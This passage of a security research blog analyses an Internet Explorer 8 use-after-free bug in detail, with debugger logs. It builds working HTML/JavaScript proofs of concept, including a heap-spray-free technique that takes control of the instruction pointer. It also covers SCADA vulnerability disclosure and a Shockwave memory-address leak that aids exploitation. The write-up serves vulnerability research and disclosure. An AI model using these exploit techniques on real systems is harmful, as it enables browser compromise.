ModLoad: 77fe0000 77ff1000   C:\WINDOWS\system32\Secur32.dll
ModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dll
ModLoad: 77f10000 77f59000   C:\WINDOWS\system32\GDI32.dll
ModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dll
ModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 7c9c0000 7d1d7000   C:\WINDOWS\system32\SHELL32.dll
ModLoad: 774e0000 7761e000   C:\WINDOWS\system32\ole32.dll
ModLoad: 3dfd0000 3e1bb000   C:\WINDOWS\system32\iertutil.dll
ModLoad: 78130000 78263000   C:\WINDOWS\system32\urlmon.dll
ModLoad: 77120000 771ab000   C:\WINDOWS\system32\OLEAUT32.dll
(8b0.770): Break instruction exception - code 80000003 (first chance)
eax=014a6fec ebx=7ffd6000 ecx=00000001 edx=00000002 esi=014aafb0 edi=014a6fec
eip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc              int     3
0:000> sxe ld:mshtml
0:000> g
Symbol search path is: srv*c:\mss*http://msdl.microsoft.com/download/symbols
Executable search path is: 
(4d8.398): Break instruction exception - code 80000003 (first chance)
eax=014a6fec ebx=7ffd6000 ecx=00000001 edx=00000002 esi=014aafb0 edi=014a6fec
eip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc              int     3
1:014> g
ModLoad: 3cea0000 3d45e000   C:\WINDOWS\system32\mshtml.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336be40 ebp=0336bf34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3              ret
1:023> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g"
1:023> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g"
1:023> bp !mshtml + 0x129f0
1:023> bl
 0 e 3d2b4c27     0001 (0001)  1:**** mshtml!CButton::CreateElement+0x16 ".printf \"Created CButton at %p\", eax;.echo;g"
 1 e 3d2b4ae1     0001 (0001)  1:**** mshtml!CButton::`vector deleting destructor' ".printf \"Deleting CButton at %p\", ecx;.echo;g"
 2 e 3ceb29f0     0001 (0001)  1:**** mshtml!CDoc::operator new+0x13
1:023> sxe ld:jscript
1:023> g
Breakpoint 2 hit
eax=04d8a6a8 ebx=00000000 ecx=7c9101db edx=00155000 esi=3d3dedd0 edi=00000000
eip=3ceb29f0 esp=0336d464 ebp=0336d468 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CDoc::operator new+0x13:
3ceb29f0 c3              ret
1:023> ba w4 eax +  0x1A8
1:023> g
ModLoad: 3d7a0000 3d854000   C:\WINDOWS\system32\jscript.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336c1a8 ebp=0336c29c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3              ret
1:023> bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:023> g
before get element a
before get element b
before create element q
before apply element e1(b) -> e2(q)
before appendChild create element button
Created CButton at 055a2fa8
Breakpoint 3 hit
eax=00000001 ebx=00000000 ecx=00000025 edx=055a6fd0 esi=04d8a850 edi=055a2fa8
eip=3d07da88 esp=0336a0c8 ebp=0336a0cc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CElement::SetDefaultElem+0x85:
3d07da88 5e              pop     esi
1:023> ub
mshtml!CElement::SetDefaultElem+0x72:
3d07da75 85c0            test    eax,eax
3d07da77 740f            je      mshtml!CElement::SetDefaultElem+0x85 (3d07da88)
3d07da79 6a01            push    1
3d07da7b 8bc7            mov     eax,edi
3d07da7d e8d5b7ebff      call    mshtml!CElement::IsVisible (3cf39257)
3d07da82 85c0            test    eax,eax
3d07da84 7402            je      mshtml!CElement::SetDefaultElem+0x85 (3d07da88)
3d07da86 893e            mov     dword ptr [esi],edi
1:023> kv
ChildEBP RetAddr  Args to Child              
0336a0cc 3d2b4ebc 00000000 05584fb0 055a2fa8 mshtml!CElement::SetDefaultElem+0x85
0336a0e4 3d092c04 0336a13c 04c8cf28 0336a1b0 mshtml!CButton::Notify+0xbb
0336a180 3d09290a 04c8cf28 055a2fa8 0336a1a4 mshtml!CMarkup::InsertElementInternal+0x3f3
0336a1bc 3d0926c0 055a2fa8 00000000 00000001 mshtml!CDoc::InsertElement+0x8a
0336a250 3d09265a 00000000 0336a26c 0336a3a0 mshtml!UnicodeCharacterCount+0x27f
0336a2b8 3d092580 055a0fd8 00000000 0336a2f4 mshtml!CElement::InsertBeforeHelper+0xd1
0336a2d4 3d092707 0412efd8 055a0fd8 00000001 mshtml!CElement::insertBefore+0x3c
0336a314 3d092e7f 0412efd8 055a0fd8 0336a3a0 mshtml!CElement::appendChild+0x39
1:023> dc edi L58/4
055a2fa8  3cf70d10 00000003 00000008 055a4fe8  ...<.........OZ.
055a2fb8  029e5e00 05584fb0 00000012 80096200  .^...OX......b..
055a2fc8  00000006 04c8cf28 3cf782e0 00000000  ....(...... dds edi L1
055a2fa8  3cf70d10 mshtml!CButton::`vftable'

It looks like the CElement::SetDefaultElem ‘forgets’ to call AddRef on an object before it adds a reference to the object to the main CDoc object. As such the object can be freed by removing all other references to the object and will still be accessible through the Default Element reference in the CDoc object.

Now that we have a rough idea of what is going on we can try to simplify the PoC a bit more. After I did my own reduction I read the BinVul.com blogpost by @h4ckmp who came to mostly the same conclusions as I did.

Lets start by reading and commenting the POC. First of all, we have a html document with an empty form element and a dfn element. When the document is loaded we start our evil code.


e0 = document.getElementById("a");

Get a reference to the form object

e1 = document.getElementById("b");

Get a reference to the dfn object

e2 = document.createElement("q");

Create a ‘Q’ element

e1.applyElement(e2);

Set the Q element as the parent of the DFN object. Our (partial) DOM Tree looks like this: Q->DFN

e1.appendChild(document.createElement('button'));

We added a Button element to the DFN Element and our DOM Tree now looks like this: Q->DFN->BUTTON

e1.applyElement(e0);

We squeeze the FORM element in between the Q and the DFN element by setting the FORM element as the parent of the DFN element and now we have this DOM Tree: Q->FORM->DFN->BUTTON

e2.outerText = "";

And we just deleted everything …. our (partial) DOM Tree now only holds the Q element and all the references we had to the CButton object have been released again.

e2.appendChild(document.createElement('body'));

This code is not really necessary to cause the use-after-free but it does make it easier to trigger. I tried to dig up why bit couldn’t come up with an easy explanation.

Just looking at this makes me wonder if we can make this a little bit cleaner. Maybe we don’t even need the DFN and the Q objects at all and just adding a Button to a document and then assigning it to a FORM object might be enough to trigger this issue.

To test this I created the following POC

<!doctype html<
<html<
<head<
	<script<
		function helloWorld() {
				e_form = document.getElementById("formelm");
				e_div = document.getElementById("divelm");
				e_div.appendChild(document.createElement('button'))
				e_div.firstChild.applyElement(e_form);
				e_div.innerHTML = ""
				e_div.appendChild(document.createElement('body'));
				CollectGarbage();	
		}

	</script<
</head<
<div id="divelm"<</div<
<body onload="eval(helloWorld())"<
	<form id="formelm"<
	</form<
</body<
</html<

And yes, this causes the same problem. After running this through windbg with some log messages we get the following result


0:000> sxe ld:mshtml
0:000> g
1:023> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g"
1:023> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g"
1:023> bp !mshtml + 0x129f0
1:023> g
Breakpoint 2 hit
eax=04ed86a8 ebx=00000000 ecx=7c9101db edx=00155000 esi=3d3dedd0 edi=00000000
eip=3ceb29f0 esp=0336d464 ebp=0336d468 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CDoc::operator new+0x13:
3ceb29f0 c3              ret
1:023> ba w4 eax +  0x1A8 ".printf \"Just added the Default Element\";.echo;g"
1:023> sxe ld:jscript
1:023> g
ModLoad: 3d7a0000 3d854000   C:\WINDOWS\system32\jscript.dll
1:023> bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:023> g
before creating the button and adding it to the div element
Created CButton at 05748fa8
Just added the Default Element
before adding button to Form
before clearing out the div innerHTML
adding body element to the div
collecting garbage
Deleting CButton at 05748fa8
Done collecting garbage
(ca4.6b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05748fa8 ebx=04c94f28 ecx=00000052 edx=00000000 esi=00000000 edi=05748fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05748fa8=????????



You can even clean it up further by removing the DIV element and adding the Button directly to the document.body but that does change things a little bit and make the exploitation a bit less straightforward

Exploitation

Anyway, we now know enough to start writing and exploit. We know the size of the freed object and we know when it is being freed, so it is pretty easy to replace the freed memory with something we control. First we want to make sure that the memory being used by the CButton object is allocated by the Low Fragmentation Heap. This will make replacing the freed memory much more reliable because the LFH does not merge coalescent free blocks and will happily reuse the last free block within a certain block range. The freed CButton object has a size of 0×58 (see CButton::CreateElement) so all we need to do is create an allocation of that size and we will refill the freed memory space.
To make sure the memory occupied by the CButton object will be LFH memory we need to enable the LFH for this memory size. I quote Valasek: “The most common trigger for enabling the LFH is 16 consecutive allocations of the same size.

Of course we need to make sure that we disable pageheap and just to be sure we will also not use the debugheap when running the process with windbg attached.
Analysis-5

We added some code to enable the LFH for the CButton element and the added code to replace the freed memory.

<!doctype html>
<html>
<head>
	<script>
	function helloWorld() {
			e_form = document.getElementById("formelm");
			e_div = document.getElementById("divelm");

			for(i =0; i < 20; i++) {
				document.createElement('button');
			}

			Math.atan2(0xbadc0de, "before creating the button and adding it to the div element")
			e_div.appendChild(document.createElement('button'))

			Math.atan2(0xbadc0de, "before adding button to Form")
			e_div.firstChild.applyElement(e_form);

			Math.atan2(0xbadc0de, "before clearing out the div innerHTML")
			e_div.innerHTML = ""

			Math.atan2(0xbadc0de, "adding body element to the div")
			e_div.appendChild(document.createElement('body'));
			Math.atan2(0xbadc0de, "collecting garbage")
			CollectGarbage();
			e_div.className = "\u2424\u2424exodusintel.com--------------------------";
			Math.atan2(0xbadc0de, "Done collecting garbage")			
	}

	</script>
</head>
<body onload="eval(helloWorld())">
	<div id="divelm"></div>
	<form id="formelm">
	</form>
</body>
</html>

running this results in the following crash

(f90.bd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=24242424 ebx=0021f728 ecx=00000052 edx=00000000 esi=00000000 edi=00235088
eip=3d086271 esp=0162d79c ebp=0162d80c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CMarkup::OnLoadStatusDone+0x504:
3d086271 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:24242500=????????
1:025> dc edi
00235088  24242424 00780065 0064006f 00730075  $$$$e.x.o.d.u.s.
00235098  006e0069 00650074 002e006c 006f0063  i.n.t.e.l...c.o.
002350a8  002d006d 002d002d 002d002d 002d002d  m.-.-.-.-.-.-.-.
002350b8  002d002d 002d002d 002d002d 002d002d  -.-.-.-.-.-.-.-.
002350c8  002d002d 002d002d 002d002d 002d002d  -.-.-.-.-.-.-.-.
002350d8  002d002d 0000002d eaa7c6ac ff0c0100  -.-.-...........
002350e8  3cf74690 0021f728 002347f8 3cf77870  .F.<(.!..G#.px.<
002350f8  00000001 00000000 01000808 ffffffff  ................


Well that it is pretty obvious we should be able to turn this into a full blown exploit. But wouldnt it be nice if we could actually control EIP and not just a call from a controlled register + offfset? To make this reliable most exploit writers go for heapspray and then go from there, but that is not really necessary for IE8 exploits. Assuming we don't need to force memory disclosure to bypass ASLR and we can rely on a module that doesn't opt in to ASLR being present in the process, there are other options availble for the casual exploit writer. As far as I know this is a new technique but since it doesn't apply to IE9 I dont mind dropping it here.

Internet Explorer 8 has support for HTML+TIME which is based on the Synchronized Multimedia Integration Language (SMIL) something nobady cares about anymore I think. Support for this has been removed in IE9 and higher, but we can still do some funny things with this in IE8. More precisely, it allows us to create an arbitrary sized array containing pointers to strings that we control. With this we can take control over the freed 0x58 sized memory and then have the vftable point to a string that is completely under our control, and thus we control where call [eax+0xDC] would go without using a heapspray. at which point we have control over the memory in eax and we have edi point to a list of pointers where we control the data as well. All in all that should be enough to write a poc that does not need heapsprays at all.

For this trick to work we need to add some funny things to the HTML or the HTML+TIME stuff doesn't work as expected.

<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
	<meta>
		<?IMPORT namespace="t" implementation="#default#time2">
	</meta>
.
.
.
    <t:ANIMATECOLOR id="myanim"/>
.
.
.

by setting the 'values' property of the t:ANIMATECOLOR element to a semicolon separated string we can create an array of pointers that point to the individual elements of the string. So we need to use a string that has 0x58/4 == 0x22 values.

animvalues = "\u4141\u4141"
while(animvalues.length < 0xDC) {
	animvalues += animvalues
}
for(i = 0; i < 21; i++) {
	animvalues += ";cyan";
}

Then we can set the values property to this string and voila, we control EIP directly

try {
	a = document.getElementById('myanim');
	a.values = animvalues;
}
catch(e) {}


Because the values are suposed to be legit colors you need to do this in a try-except construct so you don't throw an error and stop the execution of the script. Also, doing this will create some 'noise' with additional allocations being made, but nothing that isn't controllable.

Adding this we get the following POC:

<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
	<?IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>
	function helloWorld() {
		e_form = document.getElementById("formelm");
		e_div = document.getElementById("divelm");
		animvalues = "\u4141\u4141"
		while(animvalues.length < 0xDC) {
			animvalues += animvalues
		}
		for(i = 0; i < 21; i++) {
			animvalues += ";cyan";
		}
		for(i =0; i < 20; i++) {
			document.createElement('button');
		}
		e_div.appendChild(document.createElement('button'))
		e_div.firstChild.applyElement(e_form);

		e_div.innerHTML = ""
		e_div.appendChild(document.createElement('body'));

		CollectGarbage();

		try {
			a = document.getElementById('myanim');
			a.values = animvalues;
		}
		catch(e) {}

	}

</script>
</head>
<body onload="eval(helloWorld())">
	<t:ANIMATECOLOR id="myanim"/>
	<div id="divelm"></div>
	<form id="formelm">
	</form>
</body>
</html>

Download the POC here.
Running this results in:

(fbc.a28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001bb0f8 ebx=0021fac0 ecx=00000052 edx=00000000 esi=00000000 edi=00235880
eip=41414141 esp=0162d798 ebp=0162d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
41414141 ??              ???
1:028> dc eax
001bb0f8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb108  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb118  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb128  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb138  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb148  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb158  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb168  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
1:028> dc edi
00235880  001bb0f8 02367fc8 02367fe0 0018ec10  ......6...6.....
00235890  0019eff0 0019f008 0019f020 0019f038  ........ ...8...
002358a0  0019f050 0019f068 0019f080 0019f098  P...h...........
002358b0  0019f0b0 0019f0c8 0019f0e0 0019f0f8  ................
002358c0  0019f110 0019f128 0019f140 0019f158  ....(...@...X...
002358d0  0019f170 0019f188 eaa4d113 ff0c0100  p...............
002358e0  3cf74690 0021fac0 00234b90 3cf77870  .F.<..!..K#.p
1:028> dc poi(edi+10)
0019eff0  00790063 006e0061 50540000 302e312f  c.y.a.n...TP/1.0
0019f000  e88f2258 ff0e0120 00790063 006e0061  X".. ...c.y.a.n.
0019f010  6d690000 48656c70 e88f225b ff0e0130  ..impleH["..0...
0019f020  00790063 006e0061 0a0d0000 65746144  c.y.a.n.....Date
0019f030  e88f225e ff0e0164 00790063 006e0061  ^"..d...c.y.a.n.
0019f040  30200000 37353a31 e88f2251 ff0e0147  .. 01:57Q"..G...
0019f050  00790063 006e0061 70790000 74203a65  c.y.a.n...ype: t
0019f060  e88f2254 ff0e0168 00790063 006e0061  T"..h...c.y.a.n.



From here you can probably use the default ROP chains for Windows XP but I didnt bother trying that.

Conclusion

This is just another Internet Explorer use-after-free bug which was actually relatively easy to analyse and exploit. I used some new and/or non public techniques to get a reliable exploit that doesn't require heapspray, but all in all this bug can be exploited quite reliably.
If you are interested in analyzing vulnerabilities and writing exploits for them you can take a look at our training, which will focus on IE9.
It is not easy to defend against these type of attacks, but by getting as many details on as many exploitable vulnerabilities as possible we believe we can provide our clients with additional tools and information to strengthen their defenses. If you want more information on this you can contact us at info@exodusintel.com.

- Peter Vreugdenhil
Exodus Intelligence

What does a flightless bird and SCADA software have in common?

They’re both easy targets.

If you’ve been paying attention to the security industry for any length of time then you’re probably familiar with the non-disclosure vs responsible disclosure vs full disclosure stances researchers take with regard to vulnerabilities they discover. As the value of vulnerabilities has been steadily going up over the years, more and more individuals and organizations are aligning themselves with the non-disclosure crowd and not for the traditional reasons. These days there seem to be an increasing number of cases of individuals hiding behind non-disclosure for reasons that generally tend to end up revolving around them making more money than reputable outlets provide.

When I read that a new company out of Italy Malta called ReVuln has discovered vulnerabilities in SCADA software and decided not to inform the affected vendors, but rather sell the information privately to their customers, I was intrigued.

Here is some of the press coverage they received:

Security Firm Showcases Vulnerabilities in SCADA Software, Won’t Report Them to Vendors

ReVuln claims 0day vulnerabilities for SCADA systems

Security Firm ReVuln Showcases SCADA Zero-Days

ReVuln showcases vulnerabilities in SCADA software, but won’t report them to vendors

Exploit broker releases EXPLICIT VIDS of holes in industrial control kit

As ReVuln founder Luigi Auriemma is quoted as saying:

“ICS-CERT has just contacted us some minutes ago requesting more details but we don’t release information,” “[The vulnerabilities] are part of our portfolio for our customers so no public details will be released; they will remain private.”

For those of you who do not know, SCADA systems run things like power plants, airports, manufacturing facilities, and so on (read the wikipedia page for more info). While these may not be defined as “Internet infrastructure”, I would argue that they are even more crucial to the safety and security of the general populace (especially when you think about the national security implications of vulnerabilities in these systems).

On Thanksgiving day I had a morning’s worth of time to wait for a turkey to cook, so I decided to take a shot at finding as many SCADA 0day vulnerabilities as possible. As we at Exodus we responsibly report all vulnerabilities we deal with, my goal was to report any such findings for free to ICS-CERT, the group responsible for collaborating with SCADA vendors to ensure vulnerabilities are fixed.

Here’s a list of the vendors and types of vulnerabilities I found (23 in all):

Rockwell Automation

  • 1 remote code execution vulnerability
  • 1 denial of service vulnerabilty
  • discovery that one piece of Rockwell software installs Adobe Reader 8 which is susceptible to an innumerable amount of remote code execution flaws

Schneider Electric

  • 3 remote code execution vulnerabilities
  • 1 denial of service vulnerability

Indusoft

  • 1 denial of service vulnerability

RealFlex

  • 8 denial of service vulnerabilities

Eaton Corporation

  • 3 remote code execution vulnerabilities
  • 2 denial of service vulnerabilities
  • 1 arbitrary file download vulnerability
  • 1 arbitrary file deletion vulnerability
  • 1 arbitrary file upload/overwrite vulnerability

The most interesting thing about these bugs was how trivial they were to find. The first exploitable 0day took a mere 7 minutes to discover from the time the software was installed. For someone who has spent a lot of time auditing software used in the enterprise and consumer space, SCADA was absurdly simple in comparison. The most difficult part of finding SCADA vulnerabilities seems to be locating the software itself. I plan to put in a request to the ICS-CERT that they perhaps establish a repository of SCADA software for researchers like myself to audit (provided they agree to disclose the vulnerabilities, that is). Even a list of what software is of interest would be beneficial.

All of the vulnerabilities listed above will be responsibly disclosed to the ICS-CERT team just following the publication of this post.

Now, I realize I haven’t found nearly all the vulnerabilities in these products, but hopefully there is some overlap with those that were never going to end up in the hands of those able to fix them. I will probably take another (longer than one morning) shot at similar software sometime in the future, but for now it was just a nice way to pass the time.

Happy Thanksgiving.


Aaron
@aaronportnoy

Adobe Shockwave and Introspection

From Wikipedia:
    In computing, type introspection is the ability for a program to examine the type or properties of an object at runtime.

These days it seems there is quite a lot of research being done on various ways to disclose the contents of an application’s memory. With the increasing prevalence of exploit mitigations intended to randomize the location of data in a process, the value of such memory disclosures is becoming very apparent.

In this post I’d like to share a very trite example of an information leak I ran across while poking around with Adobe’s Shockwave Player.

Adobe Shockwave is a piece of software implemented as a browser plug-in that Adobe claims runs on over 450 million desktop systems. The Player renders Adobe Director files which can contain 3D media, audio, video, and other web content. Additionally, Shockwave contains an interpreter for the Lingo programming language which allows a developer to embed scripting code to perform a multitude of tasks via the Lingo API.

Lingo supports type introspection and this functionality has many legitimate uses, but for the purposes of this blog post I’ll demonstrate a potentially nasty side effect that can result.

As it turns out, if a Lingo programmer retrieves a reference to a created object and attempts to print it out, the interpreter will actually disclose where in memory the object resides. Several other languages support this, the first that comes to mind is Python via the id() function:


>>> a = "hihi"
>>> hex(id(a))
'0x22c83e0'
>>>

For a dynamic language that is not being executed in the context of a browser, this is just fine. However, such functionality can be abused to aid in exploitation of memory corruption vulnerabilities when in the context of another application.

Consider the following Lingo code:


on startMovie
  x = window("stage").movie
  trace(x)
end

When this is executed inside the Director application (used to create Shockwave files), the Message window outputs the following:


-- <Object _movie 2 b50244>

When executed in the context of a browser and combined with the gotoNetPage API, this can be leveraged to send that string back to a javascript function:


gotoNetPage("javascript: void ( disclose('" & x & "') );")

The HTML I used to embed the Shockwave file and to display the object properties looks like this:

<html>
<script language="javascript">

function disclose(x) {
alert(x);
}
</script>

<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"
codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"
ID=test width=600 height=600 VIEWASTEXT>
<param name=src value="test.dir">
<param name=swRemote value="swSaveEnabled='true' swVolume='true' swRestart='true' swPausePlay='true' swFastForward='true' swContextMenu='true' ">
<param name=swStretchStyle value=none>
<param name=PlayerVersion value=11>
<PARAM NAME=bgColor VALUE=#FFFFFF>
</embed>
</object>
</body>
</html>

When this is executed in a browser, our alert fires and displays the string:

This address can be verified by attaching a debugger to the browser process and inspecting that address:


0:022> !address 0x3db01fc
  03db0000 : 03db0000 - 00102000
     Type 00020000 MEM_PRIVATE
     Protect 00000004 PAGE_READWRITE
     State 00001000 MEM_COMMIT
     Usage RegionUsageHeap
     Handle 00150000
0:022> !heap -p -a 0x3db01fc
   address 03db01fc found in
   _HEAP @ 150000
    HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
     03db0018 20000 0000 [0b] 03db0020 100000 - (busy VirtualAlloc)

Here we can see the address is in the heap and is part of an allocation of size 0×100000. This is because Shockwave utilizes a custom memory manager on which Logan Brown and I gave a presentation at CanSecWest in 2011.

What is interesting to note is that the address of the “_movie” object is located 0x1dc bytes from the start of the allocation. As it turns out, the _movie object is always placed at that offset. This is interesting from an exploitation standpoint because there are certain function pointers that the memory manager uses that are also at fixed offsets from the start of that allocation:


0:022> u poi(0x03db0020+0x10) L3
IML32!Ordinal2064+0x6b70:
6907d880 8b4c2404 mov ecx,dword ptr [esp+4]
6907d884 8b41fc mov eax,dword ptr [ecx-4]
6907d887 8b5014 mov edx,dword ptr [eax+14h]

The address of other objects can also be disclosed, but I chose to show the _movie object as it is one of the first allocated by the custom memory manager and is of particular interest due to its consistently relative offset from the allocation shown above.

That’s it… I ran across this “intended functionality” some time ago, but didn’t bother to discuss it due to the fact that it is only useful when exploiting a browser-based vulnerability and can only be utilized if the browser has the Shockwave plug-in installed.


Aaron Portnoy
@aaronportnoy